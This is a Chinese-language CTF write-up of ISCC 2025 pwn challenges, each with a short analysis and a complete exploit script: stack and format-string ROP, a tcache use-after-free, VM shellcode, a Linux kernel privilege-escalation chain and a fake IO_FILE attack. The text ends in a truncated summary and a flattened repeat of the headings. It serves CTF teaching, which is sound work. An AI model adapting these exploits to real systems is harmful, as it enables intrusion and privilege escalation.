2025ISCC练武区域赛和决赛pwn以及擂台pwn合集
字数 1409 2025-08-29 22:41:02

ISCC 2025 PWN题目分析与解题思路

练武区域赛PWN题目

1. genius

题目分析:

  • 简单的栈溢出漏洞
  • 保护机制检查发现可以直接溢出

利用步骤:

  1. 通过交互获取canary值
  2. 构造ROP链获取shell

关键点:

  • 使用cyclic生成测试字符串
  • 通过格式化字符串泄露canary
  • 构造ROP链包含pop rdi gadget和system调用

EXP代码:

from pwn import *
context.log_level = 'debug'

host = "101.200.155.151"
port = 12000
conn = remote(host, port)

conn.recvuntil(b"you are a genius,yes or no?")
conn.sendline(b"no")
conn.recvuntil(b"Sir, don't be so modest.")
conn.sendline(b"thanks")

conn.recvuntil(b"what you want in init")
payload_length = 0x18
conn.sendline(cyclic(payload_length))

conn.recvuntil(b"\x0a")
stack_canary = u64(conn.recv(7).ljust(8, b'\x00'))
stack_canary = (stack_canary << 8) | 0x00
log.info("Leaked stack canary: " + hex(stack_canary))

ret_gadget = 0x000000000040101a
pop_rdi_gadget = 0x00000000004013f3
bin_sh_str_addr = 0x402004
system_plt_addr = 0x401050

rop_payload = (
    cyclic(payload_length) +
    p64(stack_canary) +
    p64(0x0) +
    p64(ret_gadget) +
    p64(pop_rdi_gadget) +
    p64(bin_sh_str_addr) +
    p64(system_plt_addr)
)

conn.sendline(rop_payload)
conn.interactive()

2. mutsumi

题目分析:

  • 堆利用题目
  • 存在UAF(Use After Free)漏洞
  • 使用tcache的攻击方式

利用步骤:

  1. 泄露libc地址
  2. 使用tcache bin的fastbin attack覆盖__free_hook
  3. __free_hook指向system
  4. 释放包含/bin/sh的chunk获取shell

关键点:

  • 通过释放大chunk泄露libc地址
  • 利用tcache double free实现任意地址写
  • 注意chunk大小和tcache bin的管理

EXP代码:

from pwn import*
context(arch="amd64", os="linux", log_level="debug")

libc=ELF('./program.so')
io = remote('101.200.155.151',12300)

def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())

def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())

def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)

def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

add(0, 0x500)
add(1, 0x18)
delete(0)
show(0)
libc_base = u64(io.recv(6).ljust(8, b'\x00'))-0x1ecbe0
log.info('libc_base:'+hex(libc_base))

add(2, 0x500)
add(3, 0x70)
add(4, 0x70)
delete(3)
delete(4)
edit(4,0x70,p64(libc_base+libc.symbols['__free_hook']))
add(5, 0x70)
edit(5,0x70,b'/bin/sh\x00')
add(6, 0x70)
edit(6,0x70,p64(libc_base+libc.sym['system']))
delete(5)

io.interactive()

3. Fufu

题目分析:

  • VM题目,需要分析虚拟机指令集
  • 构造shellcode执行

利用步骤:

  1. 分析虚拟机指令集
  2. 构造合适的shellcode片段
  3. 通过虚拟机执行shellcode

关键点:

  • 理解虚拟机的工作机制
  • 构造符合虚拟机规范的shellcode
  • 注意shellcode的分段和拼接

EXP代码:

from pwn import *
context(log_level='debug', arch='amd64')
conn = remote("101.200.155.151", 12800)

roles = {
    0: b'tomorin',
    1: b'rikki',
    2: b'anon',
    3: b'soyorin'
}

def send_instruction(role, data=b'saki', nptr=b'to'):
    conn.sendline(data + b',ido')
    conn.sendline(nptr)
    if nptr == b'to':
        conn.sendline(role)

def format_int(value_bytes):
    return str(int.from_bytes(value_bytes, byteorder='little'))

shellcode_fragments = [
    b"\x34\x3b\x90\x90",
    b"\x66\xbb\x73\x68",
    b"\x48\xc1\xe3\x10",
    b"\x66\xbb\x6e\x2f",
    b"\x48\xc1\xe3\x10",
    b"\x66\xbb\x62\x69",
    b"\x48\xc1\xe3\x08",
    b"\x66\xbb\x2f\x62",
    b"\x53\x90\x90\x90",
    b"\x89\xe7\x90\x90",
    b"\x0f\x05\x90\x90",
]

for fragment in shellcode_fragments:
    send_instruction(roles[0], nptr=b"1")
    send_instruction(roles[0], nptr=format_int(fragment))

conn.sendline(b'saki,stop')
conn.interactive()

练武决赛PWN题目

1. Dilemma

题目分析:

  • 格式化字符串漏洞
  • 开启了沙箱,需要ORW(open-read-write)调用

利用步骤:

  1. 泄露canary和libc地址
  2. 构造ROP链实现ORW
  3. 读取flag文件

关键点:

  • 通过格式化字符串泄露关键信息
  • 注意沙箱限制,不能直接执行system
  • 构造ORW链需要正确的寄存器设置

EXP代码:

from pwn import *
from ctypes import cdll
import time

context(os='linux', arch='amd64', log_level='debug')
p = remote('101.200.155.151',12500)
elf = ELF('./attachment-42')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x40119a 
ret = 0x40101a
bss =  0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c

p.recvuntil("go?\n")
p.sendline("1")
p.recvuntil("password:\n")
payload = b'%39$p%11$p'
p.sendline(payload)

p.recvuntil("0x")
libc_start = int(p.recv(12),16) - 128
libc_base = libc_start - libc.sym['__libc_start_main']

p.recvuntil("0x")
canary = int(p.recv(16),16)
success('canary:' +hex(canary))

p.recvuntil("password:")
p.send(b"a"*8)
p.recvuntil("go?\n")
p.sendline("2")
p.recvuntil("about\n")

payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
p.send(payload)
p.recvuntil("a"*0x28)

pop_rdx_r12 = 0x11f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

pay = b'./flag.txt'.ljust(0x28,b'\x00') 
pay += p64(canary) + p64(0) + p64(pop_rdi) + p64(bss)
pay += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0)
pay += p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)

p.send(pay)
p.interactive()

2. easybee

题目分析:

  • 内核提权题目
  • 需要绕过KASLR
  • 通过整数溢出实现栈溢出

利用步骤:

  1. 解析/tmp/kallsyms获取关键函数地址
  2. 泄露canary值
  3. 构造ROP链实现提权
  4. 返回用户态执行shell

关键点:

  • 内核地址可直接访问(未开启KPTI)
  • 整数溢出转换为无符号短整型实现栈溢出
  • 正确构造提权ROP链
  • 返回用户态需要正确设置寄存器

EXP代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned long long commit_creds = 0, prepare_kernel_cred = 0;
const unsigned long long commit_creds_base = 0xFFFFFFFF8109C8E0;
const unsigned long long swapgs_popfq_ret = 0xffffffff81a012da;
const unsigned long long movrdirax_callrdx = 0xffffffff8101aa6a;
const unsigned long long poprdx_ret = 0xffffffff810a0f49;
const unsigned long long poprdi_ret = 0xffffffff81000b2f;
const unsigned long long poprcx_ret = 0xffffffff81021e53;
const unsigned long long iretq = 0xFFFFFFFF81A00987;

int fd = 0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void core_read(char* buf) {
    ioctl(fd, 0x6677889B, buf);
}

void change_off(int off) {
    ioctl(fd, 0x6677889C, off);
}

void core_copy_func(unsigned long long nbytes) {
    ioctl(fd, 0x6677889A, nbytes);
}

void get_function_address() {
    FILE* sym_table = fopen("/tmp/kallsyms", "r");
    if (sym_table == NULL) {
        printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m");
        exit(1);
    }
    
    unsigned long long addr = 0;
    char type[0x10];
    char func_name[0x100];
    
    while (fscanf(sym_table, "%llx%s%s", &addr, type, func_name)) {
        if (commit_creds && prepare_kernel_cred) return;
        
        if (!strcmp(func_name, "commit_creds")) {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds);
        } else if (!strcmp(func_name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred);
        }
    }
}

void shell() {
    if (getuid()) {
        printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m");
        exit(1);
    }
    printf("\033[32m\033[1m[+] Getting the root......\033[0m\n");
    system("/bin/sh");
    exit(0);
}

int main() {
    saveStatus();
    
    fd = open("/proc/core", 2);
    if (!fd) {
        printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m");
        exit(1);
    }
    
    char buffer[0x100] = {0};
    get_function_address();
    
    unsigned long long base_offset = commit_creds - commit_creds_base;
    printf("\033[34m\033[1m[*] KASLR offset: \033[0m%#llx\n", base_offset);
    
    change_off(0x40);
    core_read(buffer);
    
    unsigned long long canary = ((size_t*)&buffer)[0];
    printf("\033[35m\033[1m[*] The value of canary is the first 8 bytes: \033[0m%#llx\n", canary);
    
    size_t ROP[100] = {0};
    memset(ROP, 0, 800);
    int idx = 0;
    
    for (int i = 0; i < 10; i++) ROP[idx++] = canary;
    
    ROP[idx++] = poprdi_ret + base_offset;
    ROP[idx++] = 0;
    ROP[idx++] = prepare_kernel_cred;
    ROP[idx++] = poprdx_ret + base_offset;
    ROP[idx++] = poprcx_ret + base_offset;
    ROP[idx++] = movrdirax_callrdx + base_offset;
    ROP[idx++] = commit_creds;
    ROP[idx++] = swapgs_popfq_ret + base_offset;
    ROP[idx++] = 0;
    ROP[idx++] = iretq + base_offset;
    ROP[idx++] = (unsigned long long)shell;
    ROP[idx++] = user_cs;
    ROP[idx++] = user_rflags;
    ROP[idx++] = user_sp;
    ROP[idx++] = user_ss;
    
    write(fd, ROP, 0x800);
    core_copy_func(0xffffffffffff1000);
    
    return 0;
}

擂台PWN题目

1. 命令执行器

题目分析:

  • 树结构题目
  • size大小存在符号溢出漏洞
  • 可控的时间数种子用于hash计算

利用步骤:

  1. 利用符号溢出实现任意地址写
  2. 爆破libc基地址
  3. 构造ORW链绕过沙箱
  4. 读取flag文件

关键点:

  • 使用seccomp-tools检查沙箱限制
  • 注意libc版本和特征值
  • 正确构造IO调用链

EXP代码:

from pwn import *
from ctypes import *
import time

context.update(arch='amd64', os='linux', log_level='DEBUG')
libc = ELF("./libc.so.6", checksec=False)
libc_RAND = cdll.LoadLibrary('libc.so.6')
xxx=0

def add(size,payload):
    global xxx
    if isinstance(payload, str):
        payload = payload.encode()
    cmd=b'add('+str(size).encode()+b')'+b':'+payload+b';'
    p.sendlineafter(b'>>',cmd)
    xxx+=2*5

def delete(idx):
    global xxx
    cmd='delete('+str(idx)+');'
    p.sendlineafter(b'>>', cmd)
    xxx+=2*3

def myencode(hash,list):
    global xxx
    randA=list[xxx-4]+(list[xxx-3]<<32)
    randB=list[xxx-2]+(list[xxx-1]<<32)
    hash^=randB & 0xF84075ECD213097F
    hash^=randA & 0x1145140478
    return hash

def exp():
    global xxx
    xxx=0
    
    t_int = int(time.time())
    offsets = [0, -1, +1, +2, -2,+3,-3]
    arrays = []
    for off in offsets:
        gr = libc_RAND.srand(t_int + off)
        arrays.append([libc_RAND.rand() for _ in range(100)])
    a, b, c, d, e, f, g = arrays
    
    add(0x500,b'AAAA')
    add(0x500,b'BBBD')
    delete(0)
    add(0x500,b'fuck')
    p.recvuntil(b'hash: ')
    hash_or=int(p.recvuntil(b'.')[:-1],10)
    
    arrays = [a, b, c, d, e, f, g]
    hit = False
    for lst in arrays:
        libcaddr = myencode(hash_or, lst)
        high4 = (libcaddr >> 44) & 0xF
        low12 = libcaddr & 0xFFF
        if high4 == 7 and low12 == 0xdff:
            mask = ((1 << 36) - 1) << 12
            libcaddr&=mask
            hit = True
            break
    
    if not hit:
        p.close()
        mask = ((1 << 64) - 1) ^ ((1 << 17) | (1 << 18))
        libcaddr &= mask
    
    libcbase=libcaddr-0x21A000
    delete(0)
    delete(1)
    add(0x500,b'fuck')
    add(0x3f0-0x40,'fuck this')
    delete(1)
    delete(0)
    
    libc.address = libcbase
    stdout_addr = libc.symbols['_IO_2_1_stdout_']
    payload=b'BBBB'.ljust(0x590-0x100-0xa,b'A')+p64(stdout_addr-0x20)*30
    add(2**64-0x40,payload)
    sleep(0.2)
    
    pop_rax=libc.address+0x0000000000045eb0
    pop_rdi=libc.address+0x000000000002a3e5
    pop_rsi=libc.address+0x000000000002be51
    pop_rdx_r12=libc.address+0x000000000011f2e7
    syscall=libc.address+0xEA549
    system_addr=libc.symbols['setcontext']+61
    IO_wfile_jumps=libc.symbols['_IO_wfile_jumps']
    call_addr = system_addr
    
    fake_io_addr = stdout_addr
    fake_IO_FILE = b'/bin/sh\x00'
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(system_addr)
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(fake_io_addr+0xe8-0xa0)
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(0)
    fake_IO_FILE += p64(1)
    fake_IO_FILE += p64(2)
    fake_IO_FILE += p64(fake_io_addr + 0xB0)
    fake_IO_FILE += p64(call_addr)
    fake_IO_FILE = fake_IO_FILE.ljust(0x68, b"\x00")
    fake_IO_FILE = fake_IO_FILE.ljust(0x88, b"\x00")
    fake_IO_FILE += p64(stdout_addr + 0xf00)
    fake_IO_FILE = fake_IO_FILE.ljust(0xA0, b"\x00")
    fake_IO_FILE += p64(fake_io_addr)
    fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b"\x00")
    fake_IO_FILE += p64(0)
    fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b"\x00")
    fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
    fake_IO_FILE = fake_IO_FILE.ljust(0xE0, b"\x00")
    fake_IO_FILE += p64(fake_io_addr-0X8)
    fake_IO_FILE +=p64(fake_io_addr+0xf0+0x10)
    fake_IO_FILE +=p64(libc.address+0x0000000000035732+1)*2
    fake_IO_FILE +=p64(pop_rax)
    fake_IO_FILE +=p64(2)
    fake_IO_FILE +=p64(pop_rdi)
    fake_IO_FILE +=p64(fake_io_addr+0x200)
    fake_IO_FILE +=p64(pop_rsi)
    fake_IO_FILE +=p64(0)
    fake_IO_FILE +=p64(pop_rdx_r12)
    fake_IO_FILE +=p64(0)*2
    fake_IO_FILE +=p64(syscall)
    fake_IO_FILE +=p64(pop_rax)
    fake_IO_FILE +=p64(0)
    fake_IO_FILE +=p64(pop_rdi)
    fake_IO_FILE +=p64(3)
    fake_IO_FILE +=p64(pop_rsi)
    fake_IO_FILE +=p64(fake_io_addr+0x200)
    fake_IO_FILE +=p64(pop_rdx_r12)
    fake_IO_FILE +=p64(0x100)*2
    fake_IO_FILE +=p64(syscall)
    fake_IO_FILE +=p64(pop_rax)
    fake_IO_FILE +=p64(1)
    fake_IO_FILE +=p64(pop_rdi)
    fake_IO_FILE +=p64(1)
    fake_IO_FILE +=p64(pop_rsi)
    fake_IO_FILE +=p64(fake_io_addr+0x200-0x8)
    fake_IO_FILE +=p64(pop_rdx_r12)
    fake_IO_FILE +=p64(0x100)*2
    fake_IO_FILE +=p64(syscall)
    fake_IO_FILE = fake_IO_FILE.ljust(0x200-0x8, b"\x00")
    fake_IO_FILE +=b'AAAABBBD'
    fake_IO_FILE +=b'/flag\x00'
    
    add(0x3f0-0x40,fake_IO_FILE)

debug=1
while(1):
    try:
        if debug:
            p = process('./pwn')
        else:
            p = remote('101.200.155.151',25000)
        exp()
        sleep(0.1)
        res=p.recvuntil('AAAABBBD',timeout=0.5)
        if res:
            p.interactive()
        else:
            p.close()
    except:
        p.close()

2. mini pwn (book_manager)

题目分析:

  • 图书管理系统
  • 存在格式化字符串漏洞和栈溢出

利用步骤:

  1. 通过格式化字符串泄露canary
  2. 构造ROP链调用display函数
  3. 传入flag路径获取flag

关键点:

  • 正确构造ROP链绕过保护
  • 注意flag路径的传入
  • 处理接收逻辑避免报错

EXP代码:

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

io = remote('101.200.155.151', 23000)
flag_addr = 0x4e9b2d
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43

def add_book(title, author, publisher):
    io.sendlineafter(b'>', b'1')
    io.sendafter(b'Title', title)
    io.sendafter(b'Author', author)
    io.sendafter(b'Publisher', publisher)

io.sendlineafter(b'>', b'4')
io.sendlineafter(b'choose', b'2')
io.sendafter(b'name', b'a' * 0x28)
io.recvuntil(b'a' * 0x28 + b'\n')

canary_data = io.recv(7)
canary = u64(canary_data.ljust(8, b'\x00')) << 8

payload = p64(canary) + p64(0) + p64(ret)
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)

for _ in range(8):
    add_book(b'a'*50, b'a'*30, b'a'*40)

add_book(b'a'*12, b'a', b'a'*3)
add_book(payload, b'b'*20 + b'\x00/flag\x00\x00\x00\x00', b'c'*40)

io.sendlineafter(b'>', b'6')
io.sendlineafter(b'>', b'5')

flag = io.recvline()
io.interactive()

总结

本次ISCC 2025 PWN题目涵盖了多种类型的漏洞利用技术,包括:

  1. 栈溢出:通过canary泄露和ROP链构造实现利用
  2. 堆利用:UAF、tcache poisoning等技术的
ISCC 2025 PWN题目分析与解题思路 练武区域赛PWN题目 1. genius 题目分析 : 简单的栈溢出漏洞 保护机制检查发现可以直接溢出 利用步骤 : 通过交互获取canary值 构造ROP链获取shell 关键点 : 使用 cyclic 生成测试字符串 通过格式化字符串泄露canary 构造ROP链包含 pop rdi gadget和 system 调用 EXP代码 : 2. mutsumi 题目分析 : 堆利用题目 存在UAF(Use After Free)漏洞 使用tcache的攻击方式 利用步骤 : 泄露libc地址 使用tcache bin的fastbin attack覆盖 __free_hook 将 __free_hook 指向 system 释放包含 /bin/sh 的chunk获取shell 关键点 : 通过释放大chunk泄露libc地址 利用tcache double free实现任意地址写 注意chunk大小和tcache bin的管理 EXP代码 : 3. Fufu 题目分析 : VM题目,需要分析虚拟机指令集 构造shellcode执行 利用步骤 : 分析虚拟机指令集 构造合适的shellcode片段 通过虚拟机执行shellcode 关键点 : 理解虚拟机的工作机制 构造符合虚拟机规范的shellcode 注意shellcode的分段和拼接 EXP代码 : 练武决赛PWN题目 1. Dilemma 题目分析 : 格式化字符串漏洞 开启了沙箱,需要ORW(open-read-write)调用 利用步骤 : 泄露canary和libc地址 构造ROP链实现ORW 读取flag文件 关键点 : 通过格式化字符串泄露关键信息 注意沙箱限制,不能直接执行system 构造ORW链需要正确的寄存器设置 EXP代码 : 2. easybee 题目分析 : 内核提权题目 需要绕过KASLR 通过整数溢出实现栈溢出 利用步骤 : 解析/tmp/kallsyms获取关键函数地址 泄露canary值 构造ROP链实现提权 返回用户态执行shell 关键点 : 内核地址可直接访问(未开启KPTI) 整数溢出转换为无符号短整型实现栈溢出 正确构造提权ROP链 返回用户态需要正确设置寄存器 EXP代码 : 擂台PWN题目 1. 命令执行器 题目分析 : 树结构题目 size大小存在符号溢出漏洞 可控的时间数种子用于hash计算 利用步骤 : 利用符号溢出实现任意地址写 爆破libc基地址 构造ORW链绕过沙箱 读取flag文件 关键点 : 使用seccomp-tools检查沙箱限制 注意libc版本和特征值 正确构造IO调用链 EXP代码 : 2. mini pwn (book_ manager) 题目分析 : 图书管理系统 存在格式化字符串漏洞和栈溢出 利用步骤 : 通过格式化字符串泄露canary 构造ROP链调用display函数 传入flag路径获取flag 关键点 : 正确构造ROP链绕过保护 注意flag路径的传入 处理接收逻辑避免报错 EXP代码 : 总结 本次ISCC 2025 PWN题目涵盖了多种类型的漏洞利用技术,包括: 栈溢出 :通过canary泄露和ROP链构造实现利用 堆利用 :UAF、tcache poisoning等技术的